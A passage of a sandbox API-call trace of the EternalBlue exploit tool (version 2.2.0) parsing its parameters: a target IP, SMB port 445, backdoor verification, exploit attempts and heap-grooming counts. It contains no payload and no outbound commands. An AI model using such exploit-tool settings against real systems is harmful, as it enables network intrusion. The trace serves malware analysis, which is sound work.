[0236.878] _mbscpy (in: param_1=0x281378, param_2=0x756030d8 | out: param_1=0x281378) returned 0x281378
[0236.878] strlen (_Str="stdout") returned 0x6
[0236.878] free (_Block=0x0)
[0236.878] realloc (_Block=0x271078, _Size=0x30) returned 0x271078
[0236.879] strlen (_Str="ValidateOnly") returned 0xc
[0236.879] calloc (_Count=0xd, _Size=0x1) returned 0x38d9c0
[0236.879] _mbscpy (in: param_1=0x38d9c0, param_2=0x75613228 | out: param_1=0x38d9c0) returned 0x38d9c0
[0236.879] strlen (_Str="Stop execution after parameter validation") returned 0x29
[0236.879] calloc (_Count=0x2a, _Size=0x1) returned 0x270060
[0236.879] _mbscpy (in: param_1=0x270060, param_2=0x7561324c | out: param_1=0x270060) returned 0x270060
[0236.879] strlen (_Str="Boolean") returned 0x7
[0236.879] calloc (_Count=0x8, _Size=0x1) returned 0x2813d8
[0236.879] _mbscpy (in: param_1=0x2813d8, param_2=0x7564c148 | out: param_1=0x2813d8) returned 0x2813d8
[0236.879] strlen (_Str="Scalar") returned 0x6
[0236.879] calloc (_Count=0x7, _Size=0x1) returned 0x2813b8
[0236.879] _mbscpy (in: param_1=0x2813b8, param_2=0x7564c3f8 | out: param_1=0x2813b8) returned 0x2813b8
[0236.879] strlen (_Str="urn:trch") returned 0x8
[0236.879] calloc (_Count=0x9, _Size=0x1) returned 0x38d9f0
[0236.879] _mbscpy (in: param_1=0x38d9f0, param_2=0x282708 | out: param_1=0x38d9f0) returned 0x38d9f0
[0236.879] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0
[0236.879] strlen (_Str="2.1.0") returned 0x5
[0236.879] calloc (_Count=0x6, _Size=0x1) returned 0x2813c8
[0236.879] _mbscpy (in: param_1=0x2813c8, param_2=0x281478 | out: param_1=0x2813c8) returned 0x2813c8
[0236.880] strlen (_Str="false") returned 0x5
[0236.880] calloc (_Count=0x6, _Size=0x1) returned 0x2812e8
[0236.880] _mbscpy (in: param_1=0x2812e8, param_2=0x75613278 | out: param_1=0x2812e8) returned 0x2812e8
[0236.880] strcmp (_Str1="false", _Str2="0") returned 1
[0236.880] realloc (_Block=0x271078, _Size=0x34) returned 0x271078
[0236.880] strcmp (_Str1="--TargetIp", _Str2="--") returned 1
[0236.880] strlen (_Str="--TargetIp") returned 0xa
[0236.880] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.880] strlen (_Str="--TargetIp") returned 0xa
[0236.880] strcmp (_Str1="192.168.0.154", _Str2="--") returned 1
[0236.880] strlen (_Str="192.168.0.154") returned 0xd
[0236.880] strncmp (_Str1="19", _Str2="--", _MaxCount=0x2) returned 4
[0236.880] strcmp (_Str1="--DaveProxyPort=0", _Str2="--") returned 1
[0236.881] strlen (_Str="--DaveProxyPort=0") returned 0x11
[0236.881] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.881] strlen (_Str="--DaveProxyPort=0") returned 0x11
[0236.881] strcmp (_Str1="--NetworkTimeout", _Str2="--") returned 1
[0236.881] strlen (_Str="--NetworkTimeout") returned 0x10
[0236.881] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.881] strlen (_Str="--NetworkTimeout") returned 0x10
[0236.881] strcmp (_Str1="60", _Str2="--") returned 1
[0236.881] strlen (_Str="60") returned 0x2
[0236.881] strcmp (_Str1="--TargetPort", _Str2="--") returned 1
[0236.881] strlen (_Str="--TargetPort") returned 0xc
[0236.881] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.881] strlen (_Str="--TargetPort") returned 0xc
[0236.881] strcmp (_Str1="445", _Str2="--") returned 1
[0236.882] strlen (_Str="445") returned 0x3
[0236.882] strcmp (_Str1="--VerifyTarget", _Str2="--") returned 1
[0236.882] strlen (_Str="--VerifyTarget") returned 0xe
[0236.882] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.882] strlen (_Str="--VerifyTarget") returned 0xe
[0236.882] strcmp (_Str1="True", _Str2="--") returned 1
[0236.882] strlen (_Str="True") returned 0x4
[0236.882] strncmp (_Str1="Tr", _Str2="--", _MaxCount=0x2) returned 39
[0236.882] strcmp (_Str1="--VerifyBackdoor", _Str2="--") returned 1
[0236.882] strlen (_Str="--VerifyBackdoor") returned 0x10
[0236.882] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.882] strlen (_Str="--VerifyBackdoor") returned 0x10
[0236.882] strcmp (_Str1="True", _Str2="--") returned 1
[0236.882] strlen (_Str="True") returned 0x4
[0236.882] strncmp (_Str1="Tr", _Str2="--", _MaxCount=0x2) returned 39
[0236.882] strcmp (_Str1="--MaxExploitAttempts", _Str2="--") returned 1
[0236.883] strlen (_Str="--MaxExploitAttempts") returned 0x14
[0236.883] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.883] strlen (_Str="--MaxExploitAttempts") returned 0x14
[0236.883] strcmp (_Str1="3", _Str2="--") returned 1
[0236.883] strlen (_Str="3") returned 0x1
[0236.883] strcmp (_Str1="--GroomAllocations", _Str2="--") returned 1
[0236.883] strlen (_Str="--GroomAllocations") returned 0x12
[0236.883] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.883] strlen (_Str="--GroomAllocations") returned 0x12
[0236.883] strcmp (_Str1="12", _Str2="--") returned 1
[0236.883] strlen (_Str="12") returned 0x2
[0236.883] strcmp (_Str1="--OutConfig", _Str2="--") returned 1
[0236.883] strlen (_Str="--OutConfig") returned 0xb
[0236.883] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.883] strlen (_Str="--OutConfig") returned 0xb
[0236.884] strcmp (_Str1="Eternalblue-2.2.0.log", _Str2="--") returned 1
[0236.884] strlen (_Str="Eternalblue-2.2.0.log") returned 0x15
[0236.884] strncmp (_Str1="Et", _Str2="--", _MaxCount=0x2) returned 24
[0236.884] strcmp (_Str1="--TargetIp", _Str2="--") returned 1
[0236.884] strlen (_Str="--TargetIp") returned 0xa
[0236.884] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.884] strcmp (_Str1="--TargetIp", _Str2="-?") returned -1
[0236.884] strlen (_Str="--TargetIp") returned 0xa
[0236.884] strlen (_Str="192.168.0.154") returned 0xd
[0236.884] calloc (_Count=0xe, _Size=0x1) returned 0x38da50
[0236.884] _mbscpy (in: param_1=0x38da50, param_2=0x382899 | out: param_1=0x38da50) returned 0x38da50
[0236.884] strlen (_Str="192.168.0.154") returned 0xd
[0236.884] free (_Block=0x0)
[0236.884] strcmp (_Str1="--DaveProxyPort=0", _Str2="--") returned 1
[0236.885] strlen (_Str="--DaveProxyPort=0") returned 0x11
[0236.885] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.885] strcmp (_Str1="--DaveProxyPort=0", _Str2="-?") returned -1
[0236.885] strlen (_Str="--DaveProxyPort=0") returned 0x11
[0236.885] strcmp (_Str1="--NetworkTimeout", _Str2="--") returned 1
[0236.885] strlen (_Str="--NetworkTimeout") returned 0x10
[0236.885] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.885] strcmp (_Str1="--NetworkTimeout", _Str2="-?") returned -1
[0236.885] strlen (_Str="--NetworkTimeout") returned 0x10
[0236.885] strtol (in: _Str="60", _EndPtr=0x140f97c, _Radix=0 | out: _EndPtr=0x140f97c*="") returned 60
[0236.885] strcmp (_Str1="--TargetPort", _Str2="--") returned 1
[0236.886] strlen (_Str="--TargetPort") returned 0xc
[0236.886] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.886] strcmp (_Str1="--TargetPort", _Str2="-?") returned -1
[0236.886] strlen (_Str="--TargetPort") returned 0xc
[0236.886] strcmp (_Str1="--VerifyTarget", _Str2="--") returned 1
[0236.886] strlen (_Str="--VerifyTarget") returned 0xe
[0236.886] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.886] strcmp (_Str1="--VerifyTarget", _Str2="-?") returned -1
[0236.886] strlen (_Str="--VerifyTarget") returned 0xe
[0236.887] strcmp (_Str1="True", _Str2="0") returned 1
[0236.887] strcmp (_Str1="True", _Str2="1") returned 1
[0236.887] strcmp (_Str1="--VerifyBackdoor", _Str2="--") returned 1
[0236.887] strlen (_Str="--VerifyBackdoor") returned 0x10
[0236.887] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.887] strcmp (_Str1="--VerifyBackdoor", _Str2="-?") returned -1
[0236.887] strlen (_Str="--VerifyBackdoor") returned 0x10
[0236.887] strcmp (_Str1="True", _Str2="0") returned 1
[0236.887] strcmp (_Str1="True", _Str2="1") returned 1
[0236.888] strcmp (_Str1="--MaxExploitAttempts", _Str2="--") returned 1
[0236.888] strlen (_Str="--MaxExploitAttempts") returned 0x14
[0236.888] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.888] strcmp (_Str1="--MaxExploitAttempts", _Str2="-?") returned -1
[0236.888] strlen (_Str="--MaxExploitAttempts") returned 0x14
[0236.888] strcmp (_Str1="--GroomAllocations", _Str2="--") returned 1
[0236.888] strlen (_Str="--GroomAllocations") returned 0x12
[0236.888] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.888] strcmp (_Str1="--GroomAllocations", _Str2="-?") returned -1
[0236.888] strlen (_Str="--GroomAllocations") returned 0x12
[0236.889] strcmp (_Str1="--OutConfig", _Str2="--") returned 1
[0236.889] strlen (_Str="--OutConfig") returned 0xb
[0236.889] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0236.889] strcmp (_Str1="--OutConfig", _Str2="-?") returned -1
[0236.889] strlen (_Str="--OutConfig") returned 0xb
[0236.889] strlen (_Str="Eternalblue-2.2.0.log") returned 0x15
[0236.889] calloc (_Count=0x16, _Size=0x1) returned 0x276d00
[0236.889] _mbscpy (in: param_1=0x276d00, param_2=0x382941 | out: param_1=0x276d00) returned 0x276d00
[0236.889] strlen (_Str="Eternalblue-2.2.0.log") returned 0x15
[0236.889] free (_Block=0x281378)
[0236.889] strlen (_Str="Eternalblue-2.2.0.log") returned 0x15
[0236.889] calloc (_Count=0x16, _Size=0x1) returned 0x276d20
[0236.889] strcmp (_Str1="Eternalblue-2.2.0.log", _Str2="stdout") returned -1
[0236.889] _open (_FileName="Eternalblue-2.2.0.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eternalblue-2.2.0.log"), _OpenFlag=33537) returned 3
[0236.893] malloc (_Size=0x10) returned 0x38da20
[0236.893] strlen (_Str="WIN72K8R2") returned 0x9
[0236.893] strlen (_Str="192.168.0.154") returned 0xd
[0236.893] malloc (_Size=0xc73) returned 0x38de78
[0236.894] strlen (_Str="WIN72K8R2") returned 0x9
[0236.894] strlen (_Str="192.168.0.154") returned 0xd
[0236.894] malloc (_Size=0x94) returned 0x276b98
[0236.894] malloc (_Size=0x14) returned 0x276dc0
[0236.894] malloc (_Size=0x500) returned 0x38eaf8
[0236.894] malloc (_Size=0x14) returned 0x276e00
[0236.894] malloc (_Size=0x500) returned 0x38f000
[0236.894] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x6c
[0236.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xa41b1f, lpParameter=0x276be8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64
[0236.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xa41b1f, lpParameter=0x276be0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x70
[0236.898] WaitForMultipleObjects (nCount=0x3, lpHandles=0x140f9a0*=0x6c, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x2
[0263.712] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x2710) returned 0x0
[0263.714] GetCurrentThreadId () returned 0xfa8
[0263.714] GetCurrentThreadId () returned 0xfa8
[0263.714] malloc (_Size=0x1000) returned 0x280140
[0263.715] malloc (_Size=0x7c) returned 0x278138
[0263.715] strcmp (_Str1="UTF-8", _Str2="UTF-8") returned 0
[0263.715] malloc (_Size=0x6) returned 0x281378
[0263.715] GetCurrentThreadId () returned 0xfa8
[0263.715] GetCurrentThreadId () returned 0xfa8
[0263.715] GetCurrentThreadId () returned 0xfa8
[0263.715] GetCurrentThreadId () returned 0xfa8
[0263.715] GetCurrentThreadId () returned 0xfa8
[0263.716] GetCurrentThreadId () returned 0xfa8
[0263.716] GetCurrentThreadId () returned 0xfa8
[0263.716] GetCurrentThreadId () returned 0xfa8
[0263.716] GetCurrentThreadId () returned 0xfa8
[0263.716] GetCurrentThreadId () returned 0xfa8
[0263.716] GetCurrentThreadId () returned 0xfa8
[0263.716] GetCurrentThreadId () returned 0xfa8
[0263.716] GetCurrentThreadId () returned 0xfa8
[0263.716] GetCurrentThreadId () returned 0xfa8
[0263.716] GetCurrentThreadId () returned 0xfa8
[0263.716] GetCurrentThreadId () returned 0xfa8
[0263.716] GetCurrentThreadId () returned 0xfa8
[0263.716] GetCurrentThreadId () returned 0xfa8
[0263.716] GetCurrentThreadId () returned 0xfa8
[0263.716] GetCurrentThreadId () returned 0xfa8
[0263.716] GetCurrentThreadId () returned 0xfa8
[0263.716] GetCurrentThreadId () returned 0xfa8
[0263.716] GetCurrentThreadId () returned 0xfa8
[0263.717] GetCurrentThreadId () returned 0xfa8
[0263.717] GetCurrentThreadId () returned 0xfa8
[0263.717] GetCurrentThreadId () returned 0xfa8
[0263.717] GetCurrentThreadId () returned 0xfa8
[0263.717] GetCurrentThreadId () returned 0xfa8
[0263.717] GetCurrentThreadId () returned 0xfa8
[0263.717] GetCurrentThreadId () returned 0xfa8
[0263.717] GetCurrentThreadId () returned 0xfa8
[0263.717] GetCurrentThreadId () returned 0xfa8
[0263.717] GetCurrentThreadId () returned 0xfa8
[0263.717] strcmp (_Str1="UTF-8", _Str2="UTF-8") returned 0
[0263.717] malloc (_Size=0x20) returned 0x2778c0
[0263.717] malloc (_Size=0x14) returned 0x276ea0
[0263.718] GetCurrentThreadId () returned 0xfa8
[0263.718] GetCurrentThreadId () returned 0xfa8
[0263.718] malloc (_Size=0x1000) returned 0x340d88
[0263.718] malloc (_Size=0x14) returned 0x276ec0
[0263.718] GetCurrentThreadId () returned 0xfa8
[0263.718] malloc (_Size=0xfa2) returned 0x2ffc48
[0263.718] malloc (_Size=0x60) returned 0x276c38
[0263.718] malloc (_Size=0x4) returned 0x281318
[0263.718] strlen (_Str="urn:trch") returned 0x8
[0263.718] calloc (_Count=0x9, _Size=0x1) returned 0x38da08
[0263.718] _mbscpy (in: param_1=0x38da08, param_2=0x282708 | out: param_1=0x38da08) returned 0x38da08
[0263.718] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0263.718] malloc (_Size=0x3c) returned 0x2823e0
[0263.718] malloc (_Size=0x7) returned 0x281328
[0263.718] strlen (_Str="0f38f55b6a88feccfb846d3d10ab4687e652e63e") returned 0x28
[0263.719] calloc (_Count=0x29, _Size=0x1) returned 0x2700d0
[0263.719] _mbscpy (in: param_1=0x2700d0, param_2=0x270098 | out: param_1=0x2700d0) returned 0x2700d0
[0263.719] malloc (_Size=0x30) returned 0x270108
[0263.719] malloc (_Size=0x3) returned 0x281308
[0263.719] malloc (_Size=0x3c) returned 0x282398
[0263.719] malloc (_Size=0x29) returned 0x270140
[0263.719] strlen (_Str="2.2.0.0") returned 0x7
[0263.719] calloc (_Count=0x8, _Size=0x1) returned 0x2812f8
[0263.719] _mbscpy (in: param_1=0x2812f8, param_2=0x281458 | out: param_1=0x2812f8) returned 0x2812f8
[0263.719] malloc (_Size=0x30) returned 0x270178
[0263.719] malloc (_Size=0xe) returned 0x38da38
[0263.719] malloc (_Size=0x3c) returned 0x282350
[0263.719] malloc (_Size=0x8) returned 0x281358
[0263.719] strlen (_Str="Eternalblue") returned 0xb
[0263.719] calloc (_Count=0xc, _Size=0x1) returned 0x38d960
[0263.719] _mbscpy (in: param_1=0x38d960, param_2=0x38d690 | out: param_1=0x38d960) returned 0x38d960
[0263.719] malloc (_Size=0x30) returned 0x2701b0
[0263.720] malloc (_Size=0x5) returned 0x2814e8
[0263.720] malloc (_Size=0x3c) returned 0x282308
[0263.720] malloc (_Size=0xc) returned 0x38d978
[0263.720] strlen (_Str="2.2.0") returned 0x5
[0263.720] calloc (_Count=0x6, _Size=0x1) returned 0x281448
[0263.720] _mbscpy (in: param_1=0x281448, param_2=0x281468 | out: param_1=0x281448) returned 0x281448
[0263.720] malloc (_Size=0x30) returned 0x2701e8
[0263.720] malloc (_Size=0x8) returned 0x2811b8
[0263.720] malloc (_Size=0x3c) returned 0x282038
[0263.720] malloc (_Size=0x6) returned 0x2811d8
[0263.720] strlen (_Str="2.1.0") returned 0x5
[0263.720] calloc (_Count=0x6, _Size=0x1) returned 0x2811c8
[0263.720] _mbscpy (in: param_1=0x2811c8, param_2=0x281478 | out: param_1=0x2811c8) returned 0x2811c8
[0263.720] malloc (_Size=0x30) returned 0x270220
[0263.720] malloc (_Size=0xe) returned 0x38d7e0
[0263.720] malloc (_Size=0x3c) returned 0x282158
[0263.720] malloc (_Size=0x6) returned 0x2811a8
[0263.720] strlen (_Str="inputparameters") returned 0xf
[0263.720] calloc (_Count=0x10, _Size=0x1) returned 0x38d7f8
[0263.721] _mbscpy (in: param_1=0x38d7f8, param_2=0x38d6a8 | out: param_1=0x38d7f8) returned 0x38d7f8
[0263.721] malloc (_Size=0x3c) returned 0x282110
[0263.721] malloc (_Size=0x10) returned 0x38d7c8
[0263.721] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0263.721] malloc (_Size=0x3c) returned 0x2820c8
[0263.721] malloc (_Size=0xa) returned 0x38d828
[0263.721] strlen (_Str="DaveProxyPort") returned 0xd
[0263.721] calloc (_Count=0xe, _Size=0x1) returned 0x38d990
[0263.721] _mbscpy (in: param_1=0x38d990, param_2=0x282750 | out: param_1=0x38d990) returned 0x38d990
[0263.721] malloc (_Size=0x30) returned 0x270258
[0263.721] malloc (_Size=0x5) returned 0x281198
[0263.721] malloc (_Size=0x3c) returned 0x282080
[0263.721] malloc (_Size=0xe) returned 0x38d858
[0263.721] strlen (_Str="DAVE Core/Proxy Hookup connection port") returned 0x26
[0263.721] calloc (_Count=0x27, _Size=0x1) returned 0x276718
[0263.721] _mbscpy (in: param_1=0x276718, param_2=0x382ce8 | out: param_1=0x276718) returned 0x276718
[0263.721] malloc (_Size=0x30) returned 0x270290
[0263.721] malloc (_Size=0xc) returned 0x38d810
[0263.722] malloc (_Size=0x3c) returned 0x2822c0
[0263.722] malloc (_Size=0x27) returned 0x274cf8
[0263.722] strlen (_Str="TcpPort") returned 0x7
[0263.722] calloc (_Count=0x8, _Size=0x1) returned 0x281188
[0263.722] _mbscpy (in: param_1=0x281188, param_2=0x2814a8 | out: param_1=0x281188) returned 0x281188
[0263.722] malloc (_Size=0x30) returned 0x2702c8
[0263.722] malloc (_Size=0x5) returned 0x281238
[0263.722] malloc (_Size=0x3c) returned 0x2821e8
[0263.722] malloc (_Size=0x8) returned 0x281258
[0263.722] strlen (_Str="Scalar") returned 0x6
[0263.722] calloc (_Count=0x7, _Size=0x1) returned 0x281248
[0263.722] _mbscpy (in: param_1=0x281248, param_2=0x2814b8 | out: param_1=0x281248) returned 0x281248
[0263.722] malloc (_Size=0x30) returned 0x270300
[0263.722] malloc (_Size=0x7) returned 0x281208
[0263.722] malloc (_Size=0x3c) returned 0x282278
[0263.722] malloc (_Size=0x7) returned 0x281228
[0263.722] malloc (_Size=0x30) returned 0x270338
[0263.723] malloc (_Size=0x7) returned 0x2811f8
[0263.723] malloc (_Size=0x3c) returned 0x282230
[0263.723] malloc (_Size=0x5) returned 0x2811e8
[0263.723] strlen (_Str="0") returned 0x1
[0263.723] calloc (_Count=0x2, _Size=0x1) returned 0x2812c8
[0263.723] malloc (_Size=0x3c) returned 0x2821a0
[0263.723] malloc (_Size=0x8) returned 0x281218
[0263.723] malloc (_Size=0x3c) returned 0x281ff0
[0263.723] malloc (_Size=0x2) returned 0x2812d8
[0263.724] sprintf (in: _Dest=0x38d888, _Format="%u" | out: _Dest="0") returned 1
[0263.724] malloc (_Size=0x30) returned 0x270370
[0263.724] malloc (_Size=0x6) returned 0x281278
[0263.724] malloc (_Size=0x3c) returned 0x281d20
[0263.724] malloc (_Size=0x5) returned 0x2812b8
[0263.724] strlen (_Str="0") returned 0x1
[0263.724] calloc (_Count=0x2, _Size=0x1) returned 0x2812a8
[0263.724] malloc (_Size=0x3c) returned 0x281e40
[0263.724] malloc (_Size=0x6) returned 0x281298
[0263.724] malloc (_Size=0x3c) returned 0x281df8
[0263.724] malloc (_Size=0x2) returned 0x281288
[0263.724] free (_Block=0x2812a8)
[0263.724] free (_Block=0x2812c8)
[0263.724] free (_Block=0x276718)
[0263.725] free (_Block=0x281248)
[0263.725] free (_Block=0x38d990)
[0263.725] free (_Block=0x281188)
[0263.725] free (_Block=0x38d888)
[0263.725] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0263.725] malloc (_Size=0x3c) returned 0x281db0
[0263.725] malloc (_Size=0xa) returned 0x38d888
[0263.725] strlen (_Str="NetworkTimeout") returned 0xe
[0263.725] calloc (_Count=0xf, _Size=0x1) returned 0x38d990
[0263.725] _mbscpy (in: param_1=0x38d990, param_2=0x282798 | out: param_1=0x38d990) returned 0x38d990
[0263.725] malloc (_Size=0x30) returned 0x2703a8
[0263.725] malloc (_Size=0x5) returned 0x281188
[0263.725] malloc (_Size=0x3c) returned 0x281d68
[0263.725] malloc (_Size=0xf) returned 0x38d8a0
[0263.725] strlen (_Str="Timeout for blocking network calls (in seconds). Use -1 for no timeout.") returned 0x47
[0263.725] calloc (_Count=0x48, _Size=0x1) returned 0x341d90
[0263.725] _mbscpy (in: param_1=0x341d90, param_2=0x38fc68 | out: param_1=0x341d90) returned 0x341d90
[0263.725] malloc (_Size=0x30) returned 0x2703e0
[0263.725] malloc (_Size=0xc) returned 0x38d870
[0263.726] malloc (_Size=0x3c) returned 0x281fa8
[0263.726] malloc (_Size=0x48) returned 0x275730
[0263.726] strlen (_Str="S16") returned 0x3
[0263.726] calloc (_Count=0x4, _Size=0x1) returned 0x281248
[0263.726] _mbscpy (in: param_1=0x281248, param_2=0x281498 | out: param_1=0x281248) returned 0x281248
[0263.726] malloc (_Size=0x30) returned 0x270418
[0263.726] malloc (_Size=0x5) returned 0x2812c8
[0263.726] malloc (_Size=0x3c) returned 0x281ed0
[0263.726] malloc (_Size=0x4) returned 0x2812a8
[0263.726] strlen (_Str="Scalar") returned 0x6
[0263.726] calloc (_Count=0x7, _Size=0x1) returned 0x281338
[0263.726] _mbscpy (in: param_1=0x281338, param_2=0x2814f8 | out: param_1=0x281338) returned 0x281338
[0263.726] malloc (_Size=0x30) returned 0x270450
[0263.726] malloc (_Size=0x7) returned 0x281348
[0263.727] strlen (_Str="60") returned 0x2
[0263.727] calloc (_Count=0x3, _Size=0x1) returned 0x282d58
[0263.727] malloc (_Size=0x3c) returned 0x281f18
[0263.727] malloc (_Size=0x8) returned 0x282d38
[0263.728] sprintf (in: _Dest=0x38d8d0, _Format="%d" | out: _Dest="60") returned 2
[0263.728] malloc (_Size=0x30) returned 0x270488
[0263.728] malloc (_Size=0x6) returned 0x282d48
[0263.728] strlen (_Str="60") returned 0x2
[0263.728] calloc (_Count=0x3, _Size=0x1) returned 0x282cf8
[0263.728] malloc (_Size=0x3c) returned 0x281a08
[0263.728] malloc (_Size=0x6) returned 0x282d18
[0263.728] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0263.728] malloc (_Size=0x3c) returned 0x281ae0
[0263.728] malloc (_Size=0xa) returned 0x38d8d0
[0263.729] strlen (_Str="TargetIp") returned 0x8
[0263.729] calloc (_Count=0x9, _Size=0x1) returned 0x38d990
[0263.729] _mbscpy (in: param_1=0x38d990, param_2=0x2827f8 | out: param_1=0x38d990) returned 0x38d990
[0263.729] malloc (_Size=0x30) returned 0x2704c0
[0263.729] malloc (_Size=0x5) returned 0x281248
[0263.729] strlen (_Str="Target IP Address") returned 0x11
[0263.729] calloc (_Count=0x12, _Size=0x1) returned 0x276e60
[0263.729] _mbscpy (in: param_1=0x276e60, param_2=0x276d40 | out: param_1=0x276e60) returned 0x276e60
[0263.729] malloc (_Size=0x30) returned 0x2704f8
[0263.729] malloc (_Size=0xc) returned 0x38d8b8
[0263.729] strlen (_Str="IPv4") returned 0x4
[0263.729] calloc (_Count=0x5, _Size=0x1) returned 0x281338
[0263.729] _mbscpy (in: param_1=0x281338, param_2=0x281428 | out: param_1=0x281338) returned 0x281338
[0263.729] malloc (_Size=0x30) returned 0x270530
[0263.729] malloc (_Size=0x5) returned 0x282d58
[0263.729] strlen (_Str="Scalar") returned 0x6
[0263.730] calloc (_Count=0x7, _Size=0x1) returned 0x282cc8
[0263.730] _mbscpy (in: param_1=0x282cc8, param_2=0x281528 | out: param_1=0x282cc8) returned 0x282cc8
[0263.730] malloc (_Size=0x30) returned 0x270568
[0263.730] malloc (_Size=0x7) returned 0x282ce8
[0263.730] strlen (_Str="192.168.0.154") returned 0xd
[0263.730] calloc (_Count=0xe, _Size=0x1) returned 0x38d918
[0263.730] malloc (_Size=0x30) returned 0x2705a0
[0263.730] malloc (_Size=0x6) returned 0x282c68
[0263.730] strlen (_Str="192.168.0.154") returned 0xd
[0263.730] calloc (_Count=0xe, _Size=0x1) returned 0x38d900
[0263.730] malloc (_Size=0x3c) returned 0x281c00
[0263.730] malloc (_Size=0x6) returned 0x282c48
[0263.730] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0263.730] malloc (_Size=0x3c) returned 0x2819c0
[0263.731] malloc (_Size=0xa) returned 0x38d918
[0263.731] strlen (_Str="TargetPort") returned 0xa
[0263.731] calloc (_Count=0xb, _Size=0x1) returned 0x38d990
[0263.731] _mbscpy (in: param_1=0x38d990, param_2=0x282840 | out: param_1=0x38d990) returned 0x38d990
[0263.731] malloc (_Size=0x30) returned 0x2705d8
[0263.731] malloc (_Size=0x5) returned 0x281338
[0263.731] strlen (_Str="Port used by the SMB service for exploit connection") returned 0x33
[0263.731] calloc (_Count=0x34, _Size=0x1) returned 0x341d90
[0263.731] _mbscpy (in: param_1=0x341d90, param_2=0x38fd58 | out: param_1=0x341d90) returned 0x341d90
[0263.731] malloc (_Size=0x30) returned 0x270610
[0263.731] malloc (_Size=0xc) returned 0x38d930
[0263.731] strlen (_Str="TcpPort") returned 0x7
[0263.731] calloc (_Count=0x8, _Size=0x1) returned 0x282cc8
[0263.731] _mbscpy (in: param_1=0x282cc8, param_2=0x281548 | out: param_1=0x282cc8) returned 0x282cc8
[0263.732] malloc (_Size=0x30) returned 0x270648
[0263.732] malloc (_Size=0x5) returned 0x282c38
[0263.732] strlen (_Str="Scalar") returned 0x6
[0263.732] calloc (_Count=0x7, _Size=0x1) returned 0x282c18
[0263.732] _mbscpy (in: param_1=0x282c18, param_2=0x281558 | out: param_1=0x282c18) returned 0x282c18
[0263.732] malloc (_Size=0x30) returned 0x270680
[0263.732] malloc (_Size=0x7) returned 0x282c08
[0263.732] strlen (_Str="445") returned 0x3
[0263.732] calloc (_Count=0x4, _Size=0x1) returned 0x282be8
[0263.732] malloc (_Size=0x3c) returned 0x281738
[0263.732] malloc (_Size=0x8) returned 0x282bd8
[0263.732] sprintf (in: _Dest=0x38d9a8, _Format="%u" | out: _Dest="445") returned 3
[0263.732] malloc (_Size=0x30) returned 0x2706b8
[0263.733] malloc (_Size=0x6) returned 0x282bc8
[0263.733] strlen (_Str="445") returned 0x3
[0263.733] calloc (_Count=0x4, _Size=0x1) returned 0x282c98
[0263.733] malloc (_Size=0x3c) returned 0x281930
[0263.733] malloc (_Size=0x6) returned 0x282cb8
[0263.733] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1
[0263.733] malloc (_Size=0x3c) returned 0x281858
[0263.733] malloc (_Size=0xa) returned 0x38d9a8
[0263.733] strlen (_Str="VerifyTarget") returned 0xc
[0263.733] calloc (_Count=0xd, _Size=0x1) returned 0x38d990
[0263.733] _mbscpy (in: param_1=0x38d990, param_2=0x282738 | out: param_1=0x38d990) returned 0x38d990
[0263.733] malloc (_Size=0x30) returned 0x2706f0
[0263.733] malloc (_Size=0x5) returned 0x282cc8
[0263.734] strlen (_Str="Validate the SMB string from target against the target selected before exploitation.") returned 0x54
[0263.734] calloc (_Count=0x55, _Size=0x1) returned 0x300bf8
[0263.734] _mbscpy (in: param_1=0x300bf8, param_2=0x38fdf8 | out: param_1=0x300bf8) returned 0x300bf8
[0263.734] malloc (_Size=0x30) returned 0x270728
[0263.734] malloc (_Size=0xc) returned 0x38d780
[0263.734] strlen (_Str="Boolean") returned 0x7
[0263.734] calloc (_Count=0x8, _Size=0x1) returned 0x282c18
[0263.734] _mbscpy (in: param_1=0x282c18, param_2=0x2829a8 | out: param_1=0x282c18) returned 0x282c18
[0263.734] malloc (_Size=0x30) returned 0x270760
[0263.734] malloc (_Size=0x5) returned 0x282be8
[0263.734] strlen (_Str="Scalar") returned 0x6
[0263.734] calloc (_Count=0x7, _Size=0x1) returned 0x276770
[0263.734] _mbscpy (in: param_1=0x276770, param_2=0x2829b8 | out: param_1=0x276770) returned 0x276770
[0263.734] malloc (_Size=0x30) returned 0x270798
[0263.734] malloc (_Size=0x7) returned 0x276780
[0263.735] strlen (_Str="true") returned 0x4
[0263.735] calloc (_Count=0x5, _Size=0x1) returned 0x2767a0
